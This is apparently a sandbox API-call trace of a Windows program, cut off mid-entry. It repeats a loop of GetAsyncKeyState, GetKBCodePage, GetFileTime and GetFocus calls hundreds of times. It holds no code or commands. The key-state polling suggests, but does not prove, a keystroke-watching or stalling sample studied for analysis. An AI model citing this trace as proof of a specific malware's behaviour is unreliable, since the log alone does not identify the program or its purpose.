GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.558] GetAsyncKeyState (vKey=58) returned 0 [0223.558] GetKBCodePage () returned 0x1b5 [0223.558] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.558] GetFocus () returned 0x0 [0223.559] GetAsyncKeyState (vKey=58) returned 0 [0223.559] GetKBCodePage () returned 0x1b5 [0223.559] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.559] GetFocus () returned 0x0 [0223.559] GetAsyncKeyState (vKey=58) returned 0 [0223.559] GetKBCodePage () returned 0x1b5 [0223.559] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.559] GetFocus () returned 0x0 [0223.559] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.560] GetFocus () returned 0x0 [0223.560] GetAsyncKeyState (vKey=58) returned 0 [0223.560] GetKBCodePage () returned 0x1b5 [0223.560] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.561] GetFocus () returned 0x0 [0223.561] GetAsyncKeyState (vKey=58) returned 0 [0223.561] GetKBCodePage () returned 0x1b5 [0223.561] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.562] GetKBCodePage () returned 0x1b5 [0223.562] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.562] GetFocus () returned 0x0 [0223.562] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.563] GetFocus () returned 0x0 [0223.563] GetAsyncKeyState (vKey=58) returned 0 [0223.563] GetKBCodePage () returned 0x1b5 [0223.563] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 